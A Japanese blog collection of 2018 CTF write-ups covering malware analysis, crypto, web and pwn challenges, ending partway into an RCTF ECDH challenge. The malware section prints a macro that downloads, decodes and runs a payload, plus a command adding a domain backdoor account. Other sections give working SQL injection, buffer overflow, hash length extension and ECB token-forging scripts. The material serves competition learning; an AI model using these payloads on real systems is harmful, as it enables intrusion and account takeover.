MNCTF 2018 Writeup

このイベントは2018/7/12 10:00(JST)~2018/7/12 11:30(JST)に
カンファレンスの一つとして開催されました。
個人戦の大会で、最初の確認の問題以外は100点が基準で
解いた人が多くなると点数が下がっていくというルール。
結果は561点で72名中4位という好成績でした。
解けた問題をWriteupとして書いておきます。

練習問題 (MISC 1)

フラグは問題に書かれていた。

MNCTF2018

新人奮闘I (マルウェア解析 20)

添付のexeファイルのsha256を求める問題。

$ sha256sum AD_OptimizationTool.exe 
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29  AD_OptimizationTool.exe
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29

新人奮闘II (マルウェア解析 60)

先ほどのexeの表層解析を行う。ハッシュやコンパイル日時、インポートしている関数を正しくレポートすると、フラグが表示されるようだ。
ハッシュは先ほどの答えのほかにmd5sha1が必要。あとはファイルサイズを求める。

$ md5sum AD_OptimizationTool.exe 
541427a9dbe43b10c05b856cdcdc5ba6  AD_OptimizationTool.exe
$ sha1sum AD_OptimizationTool.exe 
e0fa838e0f191f97c5dac7a831af60d750432017  AD_OptimizationTool.exe
$ ls -l AD_OptimizationTool.exe 
-rwxrwxrwx 1 root root 2048  711 19:46 AD_OptimizationTool.exe

コンパイル日時とインポート関数はPE viewで確認。IMAGE_NT_HEADERSのIMAGE_FILE_HEADERのTime Date Stampを見ると、以下のようになっている。

2018/07/11 10:46:08 UTC

Section .importのIMPORT Name Tableを見ると、関数一覧が見れる。

kernel32.dll
- ExitProcess
- Sleep
shell32.dll
- ShellExecuteA
user32.dll
- MessageBoxA

f:id:satou-y:20180718225425p:plain

d56d9a6036bd18ee98878eb74ae8d663

新人奮闘III (マルウェア解析 40)

先ほどのexeが実行しているコマンドを答える問題。テキストエディタでexeを開いてみると、コマンドらしきものが書かれている部分がある。

AD Optimizer Optimization successfuly finished.\nThe speed increased 176%. cmd /c net user /add /domain vpnadmin P@ssw0rD1! open
cmd /c net user /add /domain vpnadmin P@ssw0rD1!

新人奮闘IV (フォレンジック 40)

前の問題で使っているコマンドのユーザ名にvpnadminを指定している。このユーザ名で検索する。

2018/07/13 15:01,vpnadmin,27.117.128.1
2018/07/13 15:01

新人奮闘V (その他 40)

前の問題でIPアドレスは27.117.128.1とわかっている。このIPアドレスGoogleで調べる。

韓国

標的攻撃I (マルウェア解析 60)

添付ファイルはExcelだが、マクロが組まれている。Excelマクロのコードを見る。

Private Declare Sub Sleep Lib "kernel32" (ByVal ms As Long)

Private Sub Workbook_Open()

us = Application.UserName

For Each C In ActiveSheet.Range("C6:C11")
    If us = C.Value Then
        Set objShell = CreateObject("WScript.Shell")
        startupFolder = objShell.SpecialFolders("Startup")
        Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
        Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
        xHttp.Open "GET", "https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert", False
        xHttp.Send
        With bStrm
            .Type = 1 '//binary
            .Open
            .write xHttp.responseBody
            .savetofile startupFolder & "\cert.pem", 2 '//overwrite
        End With
        Sleep (10000)
        Shell "certutil -decode """ & startupFolder & "\cert.pem"" """ & startupFolder & "\cert.exe"""
        Sleep (5000)
        Shell startupFolder & "\cert.exe"
    End If
Next

End Sub

ExcelシートのC6:C11の値とユーザ名が一致した場合に動作することがわかる。答えはその中に1つ答えればよい。

Yasu Kobayashi

標的攻撃II (マルウェア解析 40)

HTTPSの通信が発生するので、そのURLを答える問題。前の問題で確認したコードからURLはわかる。

https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert

標的型攻撃III (マルウェア解析 80)

2次検体が生成されるので、そのsha256を求める問題。
先ほどのURLにアクセスし、そのデータをcert.pemとして保存する。この状態で次のコマンドを実行し、2次検体を生成する。

>certutil -decode cert.pem cert.exe
入力長 = 98458
出力長 = 73802
CertUtil: -decode コマンドは正常に完了しました。
$ sha256sum cert.exe
c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382  cert.exe
c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382

標的攻撃IV (ネットワーク 80)

2次検体を実行するとHTTPSの通信が発生するので、そのURLを答える問題。
実行すると、一瞬コマンドプロンプトが表示されたので、画面キャプチャを取る。
f:id:satou-y:20180718224612p:plain
PowerShellでアクセスしているURLがわかった。

https://shinobotps1.com/download_get.php

盗難情報 (暗号 100)

XOR(シングルバイトキー)→ Base64 → ROT13で暗号化されている。XOR暗号部分はブルートフォースで試すと、あるキーでPNGファイルのフォーマットになることがわかる。最終的なコードは次のようになり、実行するとPNG形式の画像ファイルに復号される。

with open('encrypted.bin', 'rb') as f:
    data = f.read()

data = data.decode('rot13')
data = data.decode('base64')

key = ord(data[0]) ^ 0x89
flag = ''
for i in range(len(data)):
    flag += chr(key ^ ord(data[i]))

with open('flag.png', 'wb') as f:
    f.write(flag)

f:id:satou-y:20180718225112p:plain

NEJI_190_3GM

Google CTF 2018 Quals Writeup

この大会は2018/6/23 9:00(JST)~2018/6/25 9:00(JST)に開催されました。
今回もチームで参戦。結果は1001点で220チーム中45位でした。
自分で解けた問題をWriteupとして書いておきます。

PERFECT SECRECY(CRYPTO)

コードを読むと、以下のような流れ。

以下をそのまま並べて入力指定
m0: 1バイト
m1: 1バイト
ciphertext: 1024/8=128バイト

ciphertextを復号したデータを数値化。以下を100回繰り返す。
p = そのLSBが0の場合m0、1の場合m1
k = 0~2のランダム値
c = (ord(p) + k) % 2
chr(c)を表示

このことから以下がわかる。

kの値は100回行うと偶数:奇数=2:1(およそ)になる。
m0にASCIIコードが偶数、m1にASCIIコードが奇数となる文字を指定する。
cは0が多ければ、復号データのLSBは0、1が多ければ復号データのLSBは1と判断できる。

ここまでわかれば、LSB decryption oracle attack で復号できる。

from fractions import Fraction
from Crypto.PublicKey import RSA
import socket

def lsb_oracle(cipher):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('perfect-secrecy.ctfcompetition.com', 1337))
    m0 = '0'
    m1 = '1'
    ciphertext = cipher
    send_data = m0 + m1 + ciphertext
    s.sendall(send_data)
    data = s.recv(1)
    data += s.recv(99)
    cnt0 = data.count('\x00')
    cnt1 = data.count('\x01')
    if cnt0 > cnt1:
        return 0
    else:
        return 1

with open('key_pub.pem', 'r') as f:
    pub_data = f.read()

pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e
print e

with open('flag.txt', 'rb') as f:
    c = int(f.read().encode('hex'), 16)

bounds = [0, Fraction(n)]

i = 0
m = 0
while True:
    print 'Round %d' % (i+1)
    i += 1

    c2 = (c * pow(2, e, n)) % n
    h2 = '%0256x' % c2
    ct2 = h2.decode('hex')
    lsb = lsb_oracle(ct2)
    if lsb == 1:
        bounds[0] = sum(bounds)/2
    else:
        bounds[1] = sum(bounds)/2
    diff = bounds[1] - bounds[0]
    diff = diff.numerator / diff.denominator
    print diff
    if diff == 0:
        m = bounds[1].numerator / bounds[1].denominator
        break
    c = c2

flag = ('%0256x' % m).decode('hex')
print flag

復号すると、意味のないデータの後ろにフラグが入っていた。

CTF{h3ll0__17_5_m3_1_w45_w0nd3r1n6_1f_4f73r_4ll_7h353_y34r5_y0u_d_l1k3_70_m337}

Viettel Mates CTF 2018 Writeup

この大会は2018/6/16 9:00(JST)~2018/6/17 9:00(JST)に開催されました。
今回もチームで参戦。結果は401点で400チーム中43位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

参加確認問題。問題にフラグが書いてある。

matesctf{san1ty_ch3ck!}

web_token (Crypto)

Cookieのtokenは以下のようなデータ。

data = user + ":user"
AES-ECB暗号(data + HMAC_SECRET(16バイト)) + MAC(data)

HMAC_SECRETの後ろを1文字ずつはみ出させ、1ブロック目に0\x0f....\x0fから順番にブルートフォースで一致するものを割り出し、HMAC_SECRETを求める。
その後、以下のような暗号データを作り出す。

0123456789abcdef
###############:
adminHHHHHHHHHHH
HHHHH

1つは以下の暗号の1ブロック目を取得する。

0123456789abcdef
###############:
userHHHHHHHHHHHH
HHHH

もう一つは以下の暗号の2-3ブロック目を取得する。

0123456789abcdef
###############:
adminHHHHHHHHHHH
HHHHH

あとはそのまま結果を結合したものがadminのtokenになる。以下、Cookieにセットするtokenを求める最終的なコード。

import requests
import string
from base64 import b64decode, b64encode
from Crypto.Hash import HMAC

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)

def query(user):
    url = 'http://ec2-13-229-142-46.ap-southeast-1.compute.amazonaws.com:9999/login'
    s = requests.session()
    res = s.post(url, {'name': user})
    token = s.cookies.get('token')
    return token

def get_mac(secret, user):
    data = user + ':admin'
    h = HMAC.new(secret.encode('utf-8'))
    h.update(data.encode('utf-8'))
    mac = h.hexdigest()
    return mac.encode('utf-8')

chars = string.ascii_letters + string.digits

#### get secret ####
secret = ''
for i in range(16):
    padding = '#' * (12 + i)
    correct = b64decode(query(padding)[:-32])[32:48]
    for c in chars:
        try_user = pad(c + secret)[:16] 
        try_str = b64decode(query(try_user)[:-32])[:16]
        if try_str == correct:
            secret = c + secret
            print secret
            break

print secret

#### get encrypted admin data ####
plain1 = '#' * 15
block1 = b64decode(query(plain1)[:-32])[:16]

plain2 = pad('admin' + secret)
block2 = b64decode(query(plain2)[:-32])[:32]

mac = get_mac(secret, plain1)

token = b64encode(block1 + block2) + mac
print token

この結果、HMAC_SECRET = "QGxIOmkJxv4ojNhD"であることがわかり、###############ユーザのadmin判定されるtokenは以下の文字列であることがわかる。

PF9nsMg/+axwSmmJlEvgGDUG7h6hBBZoa/a+kFTYn5PB0lINDuxBu0loRtfKikhm4dd233ac961cb50af18e0b2b2b35414e

このtokenをクッキーに設定してアクセスすると、フラグが表示された。

Hi ###############
Congratulation! Flag is matesctf{ECB_M0d3_1s_Ins3cur3}
matesctf{ECB_M0d3_1s_Ins3cur3}

Viettel Store (Crypto)

$ nc 13.251.110.215 10001
Viettel Store
You were walking on the street. Suddenly, you found a wallet and there are 4060958 VND inside. You decided to go to Viettel Store to buy a new phone
Your wallet: 4060958 VND
1. Phone list
2. Order
3. Pay
4. Exit
1
Your option:  1
0 - Samsung Galaxy S9: 19990000 VND
1 - Oppo F5: 5990000 VND
2 - iPhone X: 27790000 VND
3 - Vivo Y55s: 3990000 VND
4 - Itel A32F: 1350000 VND
5 - FLAG: 999999999 VND
Your wallet: 4060958 VND
1. Phone list
2. Order
3. Pay
4. Exit
2
Your option:  2
Item ID: 5
Your order:
product=FLAG&price=999999999×tamp=1529124244035583&sign=effc77ebfb79b73e538b98118029f374f15a88360b17459a937548acf734619e

Your wallet: 4060958 VND
1. Phone list
2. Order
3. Pay
4. Exit

それぞれ選択すると、対応する関数が実行される。

■1: view_list
商品と価格を表示

■2: order
payment = 'product=%s&price=%d×tamp=%d'
sign = sha256(signkey+payment).hexdigest()

■3: pay
paymentとsignのペアが合っているかチェック

FLAGのpriceが所持金より高いので、priceを1にすることを考える。Hash Length Extension Attackで攻撃する。

import socket
import hashpumpy

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('13.251.110.215', 10001))

data = s.recv(256)
data += s.recv(256)
print data + '2'
s.sendall('2\n')

data = s.recv(256)
data += s.recv(256)
print data + '5'
s.sendall('5\n')
data = s.recv(256)
print data

payment0 = data.split('\n')[1]

sp = payment0.rfind('&sign=')
sign = payment0[sp+6:]
payment = payment0[:sp]

for i in range(1, 50):
    h, d = hashpumpy.hashpump(sign, payment, '&price=1', i)
    data = s.recv(256)
    print data + '3'
    s.sendall('3\n')
    data = s.recv(256)
    data += s.recv(256)
    payment_flag = d + '&sign=%s' % h
    print data + payment_flag
    s.sendall(payment_flag + '\n')
    data = s.recv(256)
    print data
    if data != 'Invalid Order!':
        break

data = s.recv(256)
data += s.recv(256)
print data + '4'
s.sendall('4\n')

この結果、FLAGを購入でき、フラグが得られる。

matesctf{e4sy_3xt3nti0n_4tt4cK_x0x0}

Security Fest CTF 2018 Writeup

この大会は2018/5/31 19:00(JST)~2018/6/2 1:00(JST)に開催されました。
今回もチームで参戦。結果は255点で546チーム中51位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity check (Misc)

freenodeで#securityfest-ctfチャネルに入ると、フラグが記載されている。

sctf{securityfestctf_2018}

Zion (Misc)

与えられたファイルをバイナリエディタで見ると、前半0x3892バイトにdocxが1つ、それ以降がバイト列が逆になっていて別のdocxがある。後半のdocxを取り出す。

with open('YouKnow', 'rb') as f:
    data = f.read()

data1 = data[:0x3892]
data2 = data[0x3892:]

with open('YouKnow1.docx', 'wb') as f:
    f.write(data1)

with open('YouKnow2.docx', 'wb') as f:
    f.write(data2[::-1])

後半のdocxをWordで開いてみると、フラグが書いてある。
f:id:satou-y:20180607214223p:plain

sctf{m41nfr4m3_4cc3ss_c0d3_1337_4lw4s}

Mr.reagan (Misc)

ディスクイメージをFTK Imagerで開いてみる。orphanフォルダにあるファイルの内容は次の通り。

$Boot
bjN0MWNfcH 

$Extend
VsNTNfdzRz

$Info
c2N0ZnszbD

$LogFile
X2Y0azN9Cg

$Secure
NjdHIwbTRn

Base64文字列のようなのでデコードしてみる。

>>> 'bjN0MWNfcH=='.decode('base64')
'n3t1c_p'
>>> 'VsNTNfdzRz=='.decode('base64')
'V\xc3S5\xf7sG'
>>> 'c2N0ZnszbD=='.decode('base64')
'sctf{3l'
>>> 'X2Y0azN9Cg=='.decode('base64')
'_f4k3}\n'
>>> 'NjdHIwbTRn=='.decode('base64')
'67G#\x06\xd3F'

適当につなげてデコードしてみると、フラグになった。

>>> 'c2N0ZnszbDNjdHIwbTRnbjN0MWNfcHVsNTNfdzRzX2Y0azN9Cg=='.decode('base64')
'sctf{3l3ctr0m4gn3t1c_pul53_w4s_f4k3}\n'
sctf{3l3ctr0m4gn3t1c_pul53_w4s_f4k3}

SECCON Beginners CTF 2018 Writeup

この大会は2018/5/26 13:00(JST)~2018/5/27 13:00(JST)に開催されました。
今回は久々に一人チームで参戦。結果は1222点で844チーム中47位でした。
バイナリ系が弱いことを再確認した大会です。
自分で解けた問題をWriteupとして書いておきます。

[Warmup] Welcome (Misc)

IRCチャネルの名前の横に書いてある。

ctf4b{welcome_to_seccon_beginners_ctf}

[Warmup] plain mail (Misc)

smtp通信の中からメールを取り出し、さらにそこから添付されているZIPファイルを取り出す。
パスワードもあとで送信されていることがわかる。

_you_are_pro_

このパスワードでZIPファイルを展開すると、ファイルにフラグが書かれている。

ctf4b{email_with_encrypted_file}

てけいさんえくすとりーむず (Misc)

$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690
Welcome to TEKEISAN for Beginners -extreme edition-
---------------------------------------------------------------
Please calculate. You need to answered 100 times.
e.g.
(Stage.1)
4 + 5 = 9
...
(Stage.99)
4 * 4 = 869
[!!] Wrong, see you.
---------------------------------------------------------------
(Stage.1)
694 * 888 =

ひらすら計算していけばよい。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690))

data = recvuntil(s, '.\n---------------------------------------------------------------\n')
print data

for i in range(100):
    data = recvuntil(s, '\n')
    formula = recvuntil(s, '= ')
    ans = str(eval(formula.replace('=', '')))
    print data + formula + ans
    s.sendall(ans + '\n')

data = recvuntil(s, '\n')
data += recvuntil(s, '\n')
print data

100回正解すると、フラグが表示された。

ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}

Find the messages (Misc)

FTK Imagerでイメージファイルを開くと、message1~3のフォルダがある。
message1のフォルダにはmessage_1_of_3.txtがあり、Base64文字列が書かれている。

Y3RmNGJ7eTB1X3QwdWNoZWQ=
$ echo Y3RmNGJ7eTB1X3QwdWNoZWQ= | base64 -d
ctf4b{y0u_t0uched

message2のフォルダにはmessage_2_of_3.pngがあるが、pngだが、ヘッダ8バイトがXXXXXXXXとなっていて、末尾には00がたくさんついている。PNGのヘッダに書き換え、末尾の00をすべて削除すると、画像にフラグの一部が書いてある。
f:id:satou-y:20180528202735p:plain
message3のファオルダにはファイルが見当たらないが、ファイル名がpdfであることだけわかる。08447のファイル内にPDFがあるので、切り出すとフラグの一部が書いてある。
f:id:satou-y:20180528203049p:plain
結合すると、フラグになる。

ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}

[Warmup] Greeting (Web)

コードを見ると、postパラメータには何も入れずに、Cookieのnameパラメータにadminが設定されていればよいことがわかる。

$ curl -b 'name=admin' http://greeting.chall.beginners.seccon.jp/
<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="UTF-8">
    <title>SECCON Beginners greeting service</title>
  </head>
  <body>
    <h1>こんにちは!adminさん!</h1>
    <hr>
          こんにちは管理者さん。
      Flagは、 &quot;ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}&quot;です。
       :
ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}

SECCON Goods (Web)

ソースを見ると、item.phpを介して、DBにアクセスしていることがわかる。union selectによるSQLインジェクションと推定し、順番に情報を取っていく。

$ curl "http://goods.challeginners.seccon.jp/items.php?minstock=10 union select 1,2,3,4 --"
$ curl "http://goods.chall.beginners.seccon.jp/items.php?minstock=10 union select 1,2,3,4,5 --"
[{"id":"1","name":"2","description":"3","price":"4","stock":"5"}]
$ curl "http://goods.chall.beginners.seccon.jp/items.php?minstock=10 union select table_name,1,2,3,4 from information_schema.tables --"
[{"id":"CHARACTER_SETS","name":"1","description":"2","price":"3","stock":"4"},{"id":"COLLATIONS","name":"1","description":"2","price":"3","stock":"4"},……,
{"id":"flag","name":"1","description":"2","price":"3","stock":"4"},{"id":"items","name":"1","description":"2","price":"3","stock":"4"}]

flagテーブルがあることがわかる。

$ curl "http://goods.chall.beginners.seccon.jp/items.php?minstock=10 union select column_name,1,2,3,4 from information_schema.columns where table_name='flag' --"
[{"id":"flag","name":"1","description":"2","price":"3","stock":"4"}]

flagテーブルにはflagカラムがあることがわかる。

$ curl "http://goods.chall.beginners.seccon.jp/items.php?minstock=10 union select flag,1,2,3,4 from flag --"
[{"id":"ctf4b{cl4551c4l_5ql_1nj3c710n}","name":"1","description":"2","price":"3","stock":"4"}]

flagテーブルにはflagカラムにflagが入っていた。

ctf4b{cl4551c4l_5ql_1nj3c710n}

[Warmup] Veni, vidi, vici (Crypto)

part1~3の暗号がある。part1は以下の暗号。

Gur svefg cneg bs gur synt vf: pgs4o{a0zber

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号。ROT13で復号できた。

The first part of the flag is: ctf4b{n0more

part2は以下の暗号。

Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u

これもシーザー暗号。同じく上記のサイトで復号。ROT18で復号できた。

The second part of the flag is: _cLass!cal_c

part3は以下の暗号。

{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥

上下逆にすると、フラグの一部になる。

The third part of the flag is: Rypt0graphy}

すべて結合すると、フラグになる。

ctf4b{n0more_cLass!cal_cRypt0graphy}

Streaming (Crypto)

フラグの先頭がわかっているので、逆算して最初のgを算出する。あとはXORで元に復号すればよい。

A = 37423
B = 61781
C = 34607

pre_flag = 'ctf4b{'

def next(seed):
    seed = (A * seed + B) % C
    return seed

with open('streaming/encrypted', 'rb') as f:
    data = f.read()

xor0 = ord(data[0]) + ord(data[1]) * 256
xor1 = ord(data[2]) + ord(data[3]) * 256
xor2 = ord(data[4]) + ord(data[5]) * 256

x0 = xor0 ^ int(pre_flag[0:2].encode('hex'), 16)
x1 = xor1 ^ int(pre_flag[2:4].encode('hex'), 16)
x2 = xor2 ^ int(pre_flag[4:6].encode('hex'), 16)

assert (A * x0 + B) % C == x1
assert (A * x1 + B) % C == x2

flag = ''
g = x0
for i in range(0, len(data), 2):
    xor_val = ord(data[i]) + ord(data[i+1]) * 256
    x = xor_val ^ g
    flag +=('%x' % x).decode('hex')
    g = next(g)

print flag
ctf4b{lcg-is-easily-predictable}

RSA is Power (Crypto)

n, e, cが与えられている。nをfactordbで素因数分解する。

p = 299681192390656691733849646142066664329
q = 324144336644773773047359441106332937713

あとはそのまま復号すればよい。

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316
p = 299681192390656691733849646142066664329
q = 324144336644773773047359441106332937713

phi = (p - 1) * (q - 1)

x = 0
while True:
    if (phi * x + 1) % E == 0:
        d = (phi * x + 1) / E
        break
    x = x + 1

m = pow(C, d, N)

flag = ('%x' % m).decode('hex')
print flag
ctf4b{5imple_rs4_1s_3asy_f0r_u}

Well Known (Crypto)

$ nc crypt1.chall.beginners.seccon.jp 31337
p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929
q = 88967137731772648680425587173543061937973706623745105800741828685065752059867
g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616
Input your data (in hex):
aabbccddeeff
r = 62645628195244559274546419372547789374311683313901304193197771394466831076496
s = 60381278484527044314928671102330799715626880732615158327909340984580039303092

p, q, gの値が表示される。ECDSAと同様の問題。kはsha1で計算しているので、sha1の衝突データを2つ指定できれば、同じrで異なるsの値が得られる。それができればxの値を計算してフラグが得られる。
https://github.com/sonickun/sha1-colliderスクリプトを使って、2つのsha1衝突ファイルを作成する。サイズが大きいが多少削っても衝突する。rが同じ値になるよう調整し、最終的には以下のコードでフラグが得られrた。

import socket
import hashlib
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypt1.chall.beginners.seccon.jp', 31337))

data = recvuntil(s, '\n')
print data[:-1]
p = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]
q = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]
g = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]

with open('a-collision.pdf', 'rb') as f:
    shattered1 = f.read()

with open('b-collision.pdf', 'rb') as f:
    shattered2 = f.read()

send_shattered1 = shattered1[:-2000]
h_send_shattered1 = send_shattered1.encode('hex')
print h_send_shattered1
s.sendall(h_send_shattered1 + '\n')

data = recvuntil(s, '\n')
print data[:-1]
r1 = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]
s1 = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]

send_shattered2 = shattered2[:-2000]
h_send_shattered2 = shattered2[:-2000].encode('hex')
print h_send_shattered2
s.sendall(h_send_shattered2 + '\n')

data = recvuntil(s, '\n')
print data[:-1]
r2 = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]
s2 = int(data.strip().split(' ')[2])

assert r1 == r2

h1 = int(hashlib.sha256(send_shattered1).hexdigest(), 16)
h2 = int(hashlib.sha256(send_shattered2).hexdigest(), 16)

k = int(((h1 - h2) % q) * inverse(((s1 - s2) % q), q))
x = int((((((s1 * k) % q) - h1) % q) * inverse(r1, q)) % q)
print x

flag = ('%x' % x).decode('hex')
print flag
ctf4b{be_c4reful_w1th_k}

[Warmup] Simple Auth (Reversing)

$ ltrace ./simple_auth 
__libc_start_main(0x400792, 1, 0x7ffd88601cd8, 0x400830 <unfinished ...>
printf("Input Password: ")                       = 16
__isoc99_scanf(0x4008c5, 0x7ffd88601bc0, 0x7f81381249e0, 1024Input Password: aaa
) = 1
strlen("aaa")                                    = 3
strlen("ctf4b{rev3rsing_p4ssw0rd}\377\377\377")  = 28
puts("Umm...Auth failed..."Umm...Auth failed...
)                     = 21
+++ exited (status 0) +++
ctf4b{rev3rsing_p4ssw0rd}

[Warmup] condition (Pwn)

IDA Freewareで開く。0xdeadbeefと比較している箇所がある。次にgdbで確認する。

      :
gdb-peda$ n
abcdefghijklm
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdc80 ("abcdefghijklm")
RBX: 0x0 
RCX: 0xfbad2288 
RDX: 0x7ffff7dd59f0 --> 0x0 
RSI: 0x7ffff7ff900d --> 0xa (b'\n')
RDI: 0x7fffffffdc8d --> 0x400850000000 
RBP: 0x7fffffffdcb0 --> 0x0 
RSP: 0x7fffffffdc80 ("abcdefghijklm")
RIP: 0x4007a0 (<main+47>:	cmp    DWORD PTR [rbp-0x4],0xdeadbeef)
R8 : 0x7ffff7ff900e --> 0x0 
R9 : 0x0 
R10: 0xd (b'\r')
R11: 0x246 
R12: 0x400660 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdd90 --> 0x1 
R14: 0x0 
R15: 0x0
[-------------------------------------code-------------------------------------]
   0x400793 <main+34>:	mov    rdi,rax
   0x400796 <main+37>:	mov    eax,0x0
   0x40079b <main+42>:	call   0x400620 <gets@plt>
=> 0x4007a0 <main+47>:	cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x4007a7 <main+54>:	jne    0x4007bf <main+78>
   0x4007a9 <main+56>:	mov    edi,0x4008f8
   0x4007ae <main+61>:	call   0x4005c0 <puts@plt>
   0x4007b3 <main+66>:	mov    edi,0x40091e
[------------------------------------stack-------------------------------------]
00:0000| rax rsp 0x7fffffffdc80 ("abcdefghijklm")
01:0008| rdi-5   0x7fffffffdc88 --> 0x6d6c6b6a69 (b'ijklm')
02:0016|         0x7fffffffdc90 --> 0x400850 (<__libc_csu_init>:	push   r15)
03:0024|         0x7fffffffdc98 --> 0x400660 (<_start>:	xor    ebp,ebp)
04:0032|         0x7fffffffdca0 --> 0x7fffffffdd90 --> 0x1 
05:0040|         0x7fffffffdca8 --> 0x0 
06:0048| rbp     0x7fffffffdcb0 --> 0x0 
07:0056|         0x7fffffffdcb8 --> 0x7ffff7a32f45 (<__libc_start_main+245>:	mov    edi,eax)
[------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x00000000004007a0 in main ()

入力が xxx(44バイト)+\xef\xbe\xad\xde の場合にフラグが得られるはず。

$ python -c "print 'a'* 44 + '\xef\xbe\xad\xde'" | nc pwn1.chall.beginners.seccon.jp 16268
Please tell me your name...OK! You have permission to get flag!!
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

RCTF 2018 Writeup

この大会は2018/5/19 10:00(JST)~2018/5/21 10:00(JST)に開催されました。
今回もチームで参戦。結果は5258点で400チーム中16位でした。
自分で解けた問題をWriteupとして書いておきます。

Number Game (Misc)

4つの数字を言うと、位置が合っている数と位置が違うが含まれている数を教えてもらい、正しい数字を推測するゲーム。Bulls and cows という名前らしい。
https://rosettacode.org/wiki/Bulls_and_cows/Player#Python を参考にコードを書く。チャンスは6回。

import socket
import re
import itertools
import string
import hashlib

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def parse_score(score):
    score = score.strip().split(',')
    return tuple(int(s.strip()) for s in score)

def scorecalc(guess, chosen):
    bulls = cows = 0
    for g,c in itertools.izip(guess, chosen):
        if g == c:
            bulls += 1
        elif g in chosen:
            cows += 1
    return bulls, cows

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('149.28.139.172', 10002))

data = recvuntil(s, '\n')
print data

pattern = 'sha256\(\*\*\*\*\+(.+)\) == (.+)'
m = re.match(pattern, data)
text_tail = m.group(1)
h = m.group(2)

data = recvuntil(s, ':')
print data

for c in itertools.product(string.digits + string.letters, repeat=4):
    text_head = ''.join(c)
    text = text_head + text_tail
    if hashlib.sha256(text).hexdigest() == h:
        print text_head
        s.sendall(text_head + '\n')
        break

data = ''
for i in range(17):
    data += recvuntil(s, '\n')
print data

digits = '0123456789'

for round in range(8):
    choices = list(itertools.permutations(digits, 4))
    answers = []
    scores  = []

    data = ''
    for i in range(2):
        data += recvuntil(s, '\n')
    print data

    while True:
        ans = choices[0]
        answers.append(ans)
        dig_str = ' '.join(ans)
        print dig_str
        s.sendall(dig_str + '\n')
        data = recvuntil(s, '\n')
        print data
        if 'Nope.' in data:
            score = parse_score(data[6:])
            scores.append(score)
            choices = [c for c in choices if scorecalc(c, ans) == score]
        else:
            break

data = s.recv(1024)
print data

失敗することも多々あるが、8ラウンド成功すればよいので、このコードで何回も挑戦。

RCTF{0lD_GaM3_nAmed_Bu11s_4nd_C0ws}

ECDH (Crypto)

$ nc ECDH.2018.teamrois.cn 42000

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 1

Hello nobody...I'm Alice... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Bob's public key
